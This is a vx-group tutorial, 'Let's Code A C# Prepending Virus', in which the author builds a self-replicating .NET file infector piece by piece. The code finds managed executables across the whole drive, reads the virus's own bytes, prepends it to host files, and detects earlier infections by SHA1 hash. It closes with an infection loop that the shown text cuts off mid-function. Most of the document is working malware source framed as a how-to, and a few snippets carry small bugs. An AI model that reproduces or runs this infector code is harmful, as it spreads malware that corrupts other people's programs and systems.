Let's Code A C# Prepending Virus : Part of Brigada Ocho's "Let's Code" Series
-----------------------------------------------------------------------------

hello. i'm alcopaul. today, we'll code a c# prepending virus.

all we need to make a prepending c# virus are the c# compiler, csc.exe, which is 
included in every installation of the .net framework redistributable or the .net 
framework sdk, the .NET framework documentation (you can also use the online documentation), 
some myuzique (bob marley, ozzy osbourne, the skalers, and christina aguilera),
some cigarettes (only Marlboro) and of course, a PC. so let's do some blueprinting 1st.

target .net c# prepending virus

1) must only infect .net exe files

"sangre por sangre"

2) must identify targets in the disk

and that means all! ALL!

3) must be able to identify itself and read its own contents

it won't be a companion virus. and it won't be Sharpei. Flatei! :P

4) must be able to open the, read the and write itself to the target

it won't be an infector if it doesn't satisfy this..

5) must recognise previous infections not by reading attached signature string

ever heard of hashing? the proc computes a certain unique value for a specified number of
bytes. we can use it to detect previous infections without signature/marker..

6) must be able to reconstruct the host so it will satisfy the definition of a prepending
virus.

7.) must be able to save the time stamps..

little stealth..

8.) must have a name..

we all name our creations, ayt?


whatis

prepending virus - a program that positions itself at the beginning of the target file
and usually gives control to the "moved" file.

so when an infected file is executed, the virus obviously gets executed first and oughts
to execute the "displaced" file.

virus -----> host -----> virus/host


no payloads...


coding time
-----------

** prior knowledge of c# syntaxing is required

so we're now ready to code a c# prepending virus. and we'll do dividing and conquering..

divide-and-conquer was proved to be effective in wars. and now we'll apply it to programming.
divide-and-conquer is technique in which one first does specific codes then
plugs the codes together to make the desired output. sorta like an assembly line in a car
factory. different people makes different parts and when the parts are ready, an assembly line
just plug-in the parts to become a fully functional car.

let's do the first task then

1. must only infect dotnet files

dotnet virus by benny checks the signature "BSJB" to distinguish a dotnet file from not...
we can do this in our code but it'll just be a waste of time to do a file search concentrating
on the 4 letters and do the infection. i must admit that i don't know the exact location
of the bsjb signature and i don't care bout that bsjb.. besides, we're not in asm.. 
(win32asm viruses are lame coz they just check the "PE" string to identify their targets.
sophistication = ohohhhh)...

let's set our minds on one thing... the difference between a managed (dotnet) executable
and an unmanaged(native) executable so we can segregate things...

the main difference is that managed executable does have a metadata while unmanaged codes doesn't...

-----------------------------------------------------------------------------------------
|tell me more|

metadata describes the structural aspect of an assembly in minute detail. it sorta gives
instructions to the dotnet framework on how to treat , JIT compile and execute a given assembly...

assembly - application in .net lingo.. may be composed of single executable or multiple executable..

jit - just-in-time

managed executables - executables compiled using c#,vb.net,jscript.net,managed c++.net, cobol.net
                      and are very dependent on the dotnet framwork..

unmanaged executables - compiled to native code.... examples: solitaire.exe, vb6 codes, VC++6 codes
                        asm codes... 

------------------------------------------------------------------------------------------

and that difference is just enough to accomplish our first task....

luckily, dotnet framework has this reflection class and when used, allows a managed code
to be examined; getting the assembly name, attributes of an assembly, other metadata entries etc.
reflection has many subclasses so we well just concentrate on an aspect, the ability
to extract metadata entry from a managed code...

and since unmanaged code have no metadata, it means that when an exception was throwed while
our code is extracting a metadata entry from a file, the file queried is unmanaged. :D

so we're now ready to search a function in the .net framework sdk that will satisfy this;
must extract metadata entries from a file...

and yes we found a method..

---------------------------------------------------
AssemblyName.GetAssemblyName Method

[C#]
[Serializable]
public static AssemblyName GetAssemblyName(
   string assemblyFile
);


Parameters

assemblyFile The assembly file for which to get the AssemblyName. 
Return Value An AssemblyName object representing the given file.

Exceptions
Exception Type Condition 

ArgumentNullException - assemblyFile is a null reference (Nothing in Visual Basic). 

ArgumentException - assemblyFile is empty. 

FileNotFoundException - assemblyFile is not found. 

SecurityException - The caller does not have path discovery permission. 

FileLoadException - An assembly or module was loaded twice with two different evidences. 

BadImageFormatException - assemblyFile is not a valid assembly. 


----------------------------------------------------


so that's it... AssemblyName is a metadata entry... and it's obvious that
when we passed an unmanaged file as its argument, it will raise a
BadImageFormatException coz unmanaged file doesn't contain the AssemblyName
metadata... yeah!

-------------------------------------------------------------

AssemblyName = Fully describes an assembly's unique identity.

-------------------------------------------------------------

now let's code a snippet that will determine whether or not a file is
managed..

------------------------------------
note: c$harp is case $en$itive
------------------------------------

code#1 : save as check.cs

-----------------------------------------------------

using System; // it's always a good habit to use System first
using System.Reflection; // reflection is the key

public class netornot
{
public static void Main(String[] file)
{
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(file[0]);
Console.WriteLine(file[0] + " is a dotnet file");
}
catch
{
Console.WriteLine(file[0] + " is an unmanaged file");
}
}
}

------------------------------------------------------

compile this : csc check.cs
usage : check c:\file.exe

note: when the command-line parameter is ommited, check.exe will throw an exception..

finally, first task is done...

2.) must identify targets in disk

my flatei virus sucks coz it only infects files in current directory. we
want to infect dotnet executables in a disk, ayt... now, we'll
make a snippet that enumerates target files the disk... we must first identify
the virus' targets for the virus to infect them.

first, we must teach the virus getting the root directory from its current position...

consult documentation for required methods..

-------------------------------------------

Directory.GetCurrentDirectory Method

Gets the current working directory of the application.

[C#]
public static string GetCurrentDirectory();

Return Value
A string containing the path of the current working directory.

--------------------------------------------

Path.GetPathRoot Method

Gets the root directory information of the specified path.

[C#]
public static string GetPathRoot(
   string path
);

Parameters

path 
The path from which to obtain root directory information. 

Return Value
A string containing the root directory of path, such as "C:\", or a null reference 
(Nothing in Visual Basic) if path is a null reference (Nothing) or does not contain 
root directory information.

-----------------------------------------------

let's code

code#2.a

using System;
using System.IO;

public class getroot
{
public static void Main()
{
string curdir = Directory.GetCurrentDirectory();
string rootie = Path.GetPathRoot(curdir);
Console.WriteLine(rootie);
}
}

compile: csc getroot.cs
run: getroot.exe
returns: the root

Why is the root extremely important to us? we will search all our target files in a disk 
and the root is the best starting point to get all directories and files.. from
root to tip

so the next thing in mind is coding the recursion snippet...

let us consult dotnet framework documentation again...

luckily, the documentation gave us an example on how to recurse and obtain files from
hdisk..

[C#] 
// For Directory.GetFiles and Directory.GetDirectories
// For File.Exists, Directory.Exists
using System;
using System.IO;
using System.Collections;

 
// Takes an array of file names or directory names on the command line.  
// Determines what kind of name it is and processes it appropriately
public class RecursiveFileProcessor {
    public static void Main(string[] args) {
      foreach(string path in args) {
            if(File.Exists(path)) {
                // This path is a file
            ProcessFile(path); 
         }               
            else if(Directory.Exists(path)) {
                // This path is a directory
                ProcessDirectory(path);
            }
            else {
                Console.WriteLine("{0} is not a valid file or directory.", path);
            }        
        }        
    }


    // Process all files in the directory passed in, and recurse on any directories 
    // that are found to process the files they contain
    public static void ProcessDirectory(string targetDirectory) {
        // Process the list of files found in the directory
        string [] fileEntries = Directory.GetFiles(targetDirectory);
        foreach(string fileName in fileEntries)
           ProcessFile(fileName);

        // Recurse into subdirectories of this directory
        string [] subdirectoryEntries = Directory.GetDirectories(targetDirectory);
      foreach(string subdirectory in subdirectoryEntries)
          ProcessDirectory(subdirectory);
    }
        
    // Real logic for processing found files would go here.
   public static void ProcessFile(string path) {
        Console.WriteLine("Processed file '{0}'.", path);       
   }
}

---------------------------------------------

and all we have to do is modify that snippet to satisfy our needs...

the snippet above displays all the files in the command-line directory parameter on the console.. 
we just need the exe files so we have to do referencing again...

----------------------------------------

Directory.GetFiles Method (String, String)

Returns the names of files in the specified directory that match the specified search pattern.

[C#]
public static string[] GetFiles(
   string path,
   string searchPattern
);

Parameters

path 
The directory to search. 

searchPattern 
The search string to match against the names of files in path. The 
searchPattern parameter cannot contain DirectorySeparatorChar or AltDirectorySeparatorChar.
 
Return Value
A String array containing the names of files in the specified directory that match the 
specified search pattern.

-------------------------------------------------------------------------------------------

Directory.GetDirectories Method (String)

Gets the names of subdirectories in the specified directory.

[C#]
public static string[] GetDirectories(
   string path
);

Parameters

path 
The path for which an array of subdirectory names is returned. 

Return Value
An array of type String containing the names of subdirectories in path.

-----------------------------------------------------------------------------------

now let's code a snippet that displays only exe files from root to recursed directories..

code#2.b

using System;
using System.IO;

public class displayexe
{
public static void Main()
{
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}
public static void DispEXE(string tD) {
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
Console.WriteLine(xfile);
string [] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}
}

compile: csc displayexe.cs
run: displayexe.exe
returns: exe files in hd

=============================
Plugging Tasks Together I
=============================

so we have achieved 2 goals, identifying unmanaged files from managed files and getting all
exe files in the hd.. with this two goals, we can achieve a macro-goal.. and that is
getting all the managed files from the hd.. and this is necessary for our prepending
virus to infect all the dotnet executables (*.exe) in the hd...

Let's Code.. Plugging Together code#1 and code#2.b with some little explanation

code#1&2

using System;
using System.IO;
using System.Reflection;

public class displaydotnetexe
{
public static void Main()
{
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}
public static void DispEXE(string tD) {
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
{
// query if the file is managed
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(xfile);
// so all the displayed exe in the console is managed
Console.WriteLine(xfile);
//next file to query if managed or not
continue;
}
catch
{
//if error, unmanaged file, next file pls...
continue;
}
}
string [] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}
}

compile: csc displaydotnetexe.cs
run: displaydotnetexe.exe
returns: dotnet exefiles in hd..

3) must be able to identify itself and read its own contents

at first, i was amazed on reports that Sharpei was the first malware to do some
worming and prepending... but when i downloaded the virus+description from
the author's site, i was dismayed...

sharpei only drops a c# component and the c# component gets the original dropper file
and prepend that to target files... blame the hype to avs...

to satisfy a definition of prepending virus, our malware must be able to identify
itself and read its own contents... and does this while our malware is actually
executing...

via reflection, an executing assembly can obtain metadata from itself...

let's explore the other reflection methods...

-------------------------------------------------
Assembly.GetExecutingAssembly Method

Gets the Assembly that the current code is running from.

[C#]
[Serializable]
[ClassInterface(ClassInterfaceType.AutoDual)]
public static Assembly GetExecutingAssembly();

Return Value
The assembly that the current code is running from.

---------------------------------------------------

Assembly.FullName Property

Gets the display name of the assembly.

[C#]
[Serializable]
[ClassInterface(ClassInterfaceType.AutoDual)]
public virtual string FullName {get;}

Property Value
The display name of the assembly.
---------------------------------------------------

since Assembly.GetExecutingAssembly returns the Assembly structure, we can obtain
the structure's FullName property..

let's experiment..

code#3.a

-----------------------------------
using System;
using System.Reflection;

public class self
{
public static void Main()
{
Console.WriteLine(Assembly.GetExecutingAssembly().FullName);
}
}

------------------------------------

compile: csc self.cs
run: self.exe
returns:

self, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null

so it returns different values, and the most important is the first value..

self

we can parse the result only getting the first entry and add a ".exe" extension
and whalla, we can make a snippet that can identify itself... and we can get
its fully qualified name by getting the current directory and attaching it to
assembly name + ".exe"...

but we must take into consideration the fact that our virus will infect different files
and our virus must assume the filename of its host for it to read itself and
infect other files.. so let's test the code above if it satisfies this by renaming it
to other filename..

i.e.

ren self.exe host.exe
host.exe

so the expected return value must be

host, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null

<rename the code and execute it>

shit, the return code is

self, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null


too bad. our virus won't assume its new name... heck, that snippet is
only good for companion virus...

we're in dark grounds and we must have a fire source.. we must tackle the problem
step-by-step and make the first move by defining an Assembly...


! a managed .net application is called an assembly and a managed executable
is called a module.. 

!! an assembly is a deployment unit which may be composed of a single module or
multiple modules...

imagine an assembly as a virus group composed of different
members.. kagra, when ask what virus group does he belong, will reply "brigada ocho"
.. arkhangel, will also reply "brigada ocho"... and if kagra decided to change
his nick to nikos, he will still reply "brigada ocho" when ask bout his vx group..

so previous code above is like
askin, "hey, self.exe, what's your assembly name?" and expecting a "self" answer..
even if we ask, "hey, host.exe, what's your assembly name?", after the file changed
its name, we can still expect a "self" answer coz once an assembly name is defined 
after compilation, it will not change even if it is under different names.. assembly
name is immutable..

in a multimodule assembly there exist a single module which carries a manifest
that contains the assembly's identity... that single module is called the prime
module.. since our virus will just be composed of a single prime module, we can
concentrate on getting the module's properties.. it might lead us to the getting
the path and the assumed names of our virus..

let's find a method that will get modules in our assembly..

-------------------------------
Assembly.GetModules Method ()

Gets all the modules that are part of this assembly.

[C#]
[Serializable]
[ClassInterface(ClassInterfaceType.AutoDual)]
public Module[] GetModules();

Return Value
An array of modules.
-------------------------------

Module.FullyQualifiedName Property

Gets a string representing the fully qualified name and path to this module.

[C#]
[Serializable]
public virtual string FullyQualifiedName {get;}

Property Value
The fully qualified module name.
--------------------------------

Assembly.GetModules returns an array of Module structs.. since the virus has
only a single module, it can get its prime module using [0]... then upon getting
the prime module, we can solicit the fully qualified name (path and name + extension)
of the module using Module.FullyQualifiedName..

and let's use that in a snippet

code#3.b

using System;
using System.Reflection;

public class self1
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //get the prime module
Console.WriteLine(self.FullyQualifiedName);
}
}

compile: csc c:\rrr\self1.cs
run: c:\rrr\self1.exe
result: c:\rrr\self1.exe

kewl.. we don't have to do some parsing and string additions here.. the snippet above
does it all..

let's try to test if it will adapt to different file name changes...

ren c:\po\self1.exe c:\po\host1.exe
c:\po\host1.exe

returns

c:\po\host1.exe

so it can adapt to different file changes..

with this, we can make our proggie read itself even if its filename is changed...

reading itself
--------------

System.IO namespace has classes that offer services on reading and writing
files.. the BinaryReader/BinaryWriter classes and the StreamReader/StreamWriter classes...

StreamReader/StreamWriter classes ares so fragile.. using them will cost you a lot of 
data conversions (from string to byte etc.) since we just care bout reading and writing 
data to files, then we must choose binaryreader and binary writer classes coz with those 
classes, we're only dealing with single data type, the byte... no unnecessary data conversions..
(i think this is why benny said in an article in 29a6 that writing a prepending c#
virus is a pain in his ass and resorted to dotnet win32asm virus)


------------------------------------------

FileStream Constructor(String, FileMode, FileAccess)

Initializes a new instance of the FileStream class with the specified path, 
creation mode, and read/write permission.

[C#]
public FileStream(
   string path,
   FileMode mode,
   FileAccess access
);

Parameters

path 
A relative or absolute path for the file that the current FileStream object will encapsulate. 

mode 
A FileMode constant that determines how to open or create the file. 

access 
A FileAccess constant that determines how the file may be accessed by the FileStream object. 
This gets the CanRead and CanWrite properties of the FileStream object. CanSeek 
is true if path specifies a disk file.

------------------------------------------
----------------------------------------
BinaryReader Class

Reads primitive data types as binary values in a specific encoding.

-----------------------------------------

BinaryReader Constructor(Stream)

Initializes a new instance of the BinaryReader class based on the supplied stream 
and using UTF8Encoding.

[C#]
public BinaryReader(
   Stream input
);

Parameters

input 
A stream.

-------------------------------------------

FileStream.Length Property

Gets the length in bytes of the stream.

[C#]
public override long Length {get;}

Property Value
A long value representing the length of the stream in bytes.


-------------------------------------------

BinaryReader.BaseStream Property

Exposes access to the underlying stream of the BinaryReader.

[C#]
public virtual Stream BaseStream {get;}

Property Value
The underlying stream associated with the BinaryReader.


--------------------------------------------

FileStream.Length Property

Gets the length in bytes of the stream.

[C#]
public override long Length {get;}

Property Value
A long value representing the length of the stream in bytes.


--------------------------------------------

BinaryReader.Read Method (Byte[], Int32, Int32)

Reads count bytes from the stream with index as the starting point in the byte array.


[C#]
public virtual int Read(
   byte[] buffer,
   int index,
   int count
);

Parameters

buffer 
The buffer to read data into. 

index 
The starting point in the buffer at which to begin reading into the buffer. 

count 
The number of characters to read. 

Return Value
The number of characters read into buffer. This might be less than the number of bytes 
requested if that many bytes are not available, or it might be zero if the end of the stream is reached.

-------------------------------------------

Stream.Seek Method

When overridden in a derived class, sets the position within the current stream.

[C#]
[Serializable]
public abstract long Seek(
   long offset,
   SeekOrigin origin
);

Parameters

offset 
A byte offset relative to origin. If offset is negative, the new position will precede the 
position specified by origin by the number of bytes specified by offset. If offset is zero, 
the new position will be the position specified by origin. If offset is positive, the new 
position will follow the position specified by origin by the number of bytes specified by offset. 

origin 
A value of type SeekOrigin indicating the reference point used to obtain the new position. 

Return Value
The new position within the current stream.

---------------------------------------------

BinaryReader.Close Method

Closes the current reader and the underlying stream.

[C#]
public virtual void Close();

-------------------------------------------------

with the classes, methods and properties laid, then let's do the coding..

code#3.c

using System;
using System.IO;
using System.Reflection;

public class readself
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
//open self for reading
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
}
}

the code above only reads itself.. it doesn't output anythin'.. so to verify
this code, we must write the read contents to a file...

this is where the BinaryWriter comes to place...

so we need additional references..

-----------------------------------
BinaryWriter Class

Writes primitive types in binary to a stream and supports writing strings in a specific encoding.

------------------------------------

BinaryWriter.Seek Method

Sets the position within the current stream.

[C#]
[Serializable]
public virtual long Seek(
   int offset,
   SeekOrigin origin
);

Parameters

offset 
A byte offset relative to origin. 

origin 
A field of SeekOrigin indicating the reference point from which the new position is to be obtained. 

Return Value
The position with the current stream.

-------------------------------------

BinaryWriter.Write Method (Byte[])

[C#]
[Serializable]
public virtual void Write(
   byte[] buffer
);

Writes a byte array to the underlying stream.

Parameters

buffer 
A byte array containing the data to write. 

----------------------------------------

BinaryWriter.Close Method

Closes the current BinaryWriter and the underlying stream.

[C#]
[Serializable]
public virtual void Close();

-------------------------------------------

BinaryWriter Constructor (Stream)

Initializes a new instance of the BinaryWriter class based on the 
supplied stream and using UTF-8 as the encoding for strings.

[C#]
[Serializable]
public BinaryWriter(
   Stream output
);

Parameters
output 
The output stream. 

---------------------------------------------

code#3.d

using System;
using System.IO;
using System.Reflection;

public class readself
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
//open self for reading
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream("output.exe", FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents
bw.Close();
}
}

-------------------------------------------------

compile: csc readself.cs
run: readself.exe
returns: output.exe in current directory..

when output.exe is executed, it will throw an exception saying that the output.exe
can't do reading and writing to itself coz it is used by other process.. success!


4) must be able to open the, read the and write itself to the target

since we know how to read a file and write the contents to another file, achieving
our next goal will be easy.. all we have to do is do some simple math..

to prepend a code to a target, we must read the code A to be prepended and read the
code B to be moved and write A + B contents to code B...

here's an illustration...

code#4

using System;
using System.IO;
using System.Reflection;

public class infect
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
//open self for reading
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's read the target contents

FileStream xs1 = new FileStream("getroot.exe", FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream("getroot.exe", FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code
bw.Write(xxx1);//then the content of target
bw.Close(); //to the target...
}
}

compile: csc infect.cs
run: infect.exe
returns: getroot.exe is prepended with infect.exe code...

5) must recognise previous infections not by reading attached signature string

a virus that doesn't recognise previous infections will reinfect the targets or
infect itself... so we must teach our virus to recognize itself or part
of itself  using hashing...

the .net framework has this System.Security.Cryptography class that offers
developers built in encryption routines and hashing routines.. so we don't need
to code a hasher for this case.. let's just rely on the classes..

----------------------
SHA1 Class

Computes the SHA1 hash for the input data.

---------------------- 

and the docu gave us a snippet..

Example
[C#] The following example computes the SHA1 hash for data and stores it in result. 
This example assumes that there is a predefined constant DATA_SIZE.

[C#] 
byte[] data = new byte[DATA_SIZE];
byte[] result; 
 
SHA1 sha = new SHA1CryptoServiceProvider(); 
// This is one implementation of the abstract class SHA1.
result = sha.ComputeHash(data);

so we can use this right away to compute the sha1 value of our virus....

! take note: once a csharp code is compiled, it will only have a single unique
sha1 value.. the sha1 value of our virus can be used to determine if its present
in a host file or not...

code#5.a

using System;
using System.Security.Cryptography;
using System.IO;
using System.Reflection;

public class marker
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
//open self for reading
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
SHA1 mark = SHA1CryptoServiceProvider(); 
byte[] result = sha.ComputeHash(xxx);
}
}

so the code above get's the byte array hash of itself... so how can
we use it as a marker?

------------------------------------------
HashAlgorithm.ComputeHash Method (Stream)

[C#]
public byte[] ComputeHash(
   Stream inputStream
);

Parameters
inputStream 
The input for which to compute the hash code.
--------------------------------------------

to simplify things, we must convert the sha1 byte array to string to do
a simple string compare....

excerpt from http://support.microsoft.com/default.aspx?scid=kb;en-us;Q312906

public static String BytesToHexString(byte[] bytes)
{						
StringBuilder hexString = new StringBuilder(64);
for (int counter = 0; counter < bytes.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", bytes[counter]));
}
return hexString.ToString();
}

so let's plug this into code#5

code#5.b

using System;
using System.Security.Cryptography;
using System.IO;
using System.Reflection;
using System.Text;

public class marker
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
//open self for reading
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
SHA1 mark = new SHA1CryptoServiceProvider(); 
byte[] result = mark.ComputeHash(xxx);
Console.WriteLine(BytesToHexString(result));
}
public static String BytesToHexString(byte[] bytes)
{						
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < bytes.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", bytes[counter]));
}
return hexString.ToString();
}
}

compile: csc marker.cs
run: marker.cs
returns: sha1 hash of itself displayed in the console..

notice that if you compile the snippet again, new sha1 value will be shown..

since our virus won't compile itself again, it will just have a unique, immutable
sha1 hash value throughout its existence... so we can use that as an infection marker..

but, take a look at this

....
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //what if the virus is in a host file? 
// it will mean that it will get the hash value of virus plus the host bytes...

//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
.......

selflen will contain the length of the virus and the displaced host... meaning the sha1 hash value
of virus/hosta is not equal to the value of virus/hostb.... the virus will just infect files
in every cycle..

we can modify the code above to get only the virus' sha1 hash value...

........

FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) constantvirussize; //get length to allocate the byte buffer // so it
will only get the sha1 hash value from virus' bytes 
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
..........

what if the host size is lesser than the constant virus size? then if that's the case, the program
will raise an exception.(sorta size mismatch)... 

it's safe for us to do this.. we'll just get the hash value of the first thousand bytes of files coz
there is only a miniscule chance for us getting the similar hash values of the first 1000 bytes of files
and the smallest dotnet executable the can be made using ilasm is around 2k.. 
we better do this than to sacrifice the functionality of our virus....

!!! you can also use md5 hashing.. but i prefer sha1 coz i've never seen a win32asm
implementation of sha1...

let's code a snippet the will compare the first 1000 byte hash value between itself and a file they're
identical or not..

code#5.c

using System;
using System.Security.Cryptography;
using System.IO;
using System.Reflection;
using System.Text;

public class marker
{
public static void Main(string[] args)
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
SHA1 mark = new SHA1CryptoServiceProvider(); 
byte[] result = mark.ComputeHash(xxx);

FileStream xs1 = new FileStream(arg[0], FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(xxx1);

if (BytesToHexString(result)==BytesToHexString(result1))
{
Console.WriteLine(arg[0] + " is " + self.FullyQualifiedName);
}
else
{
Console.WriteLine("They're different files);
}
}
public static String BytesToHexString(byte[] bytes)
{						
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < bytes.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", bytes[counter]));
}
return hexString.ToString();
}
}

compile: csc marker1.cs
run: marker1.exe (file)
return
if run: marker1.exe marker1.exe
"marker1.exe is (path)\marker1.exe"
if run: marker1.exe jsc.exe
"They're different files"
if copied marker1.exe to g.exe and
run: marker1.exe g.exe
"marker1.exe is (path)\g.exe"
....

=====================================
Plugging Tasks Together 2
=====================================

we finished these tasks already

1.) identifying itself and reading its contents
2.) reading and writing to target files
3.) identifying its existence in files..

with those, let's code a program that will insert itself to exe files in current directory with no reinfection..

code#34&5

using System;
using System.Security.Cryptography;
using System.Text;
using System.IO;
using System.Reflection;

public class infector
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string curdir = Directory.GetCurrentDirectory();
string[] files = Directory.GetFiles(curdir);
foreach(string filed in files)
{
if (getsha1(self.FullyQualifiedName)==getsha1(filed))
{
continue;
}
else //if not equal
{
try
{
infect(filed,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc.
}
catch
{
continue; //next file
}
}
}
}

public static void infect(string target, string source)
{
FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
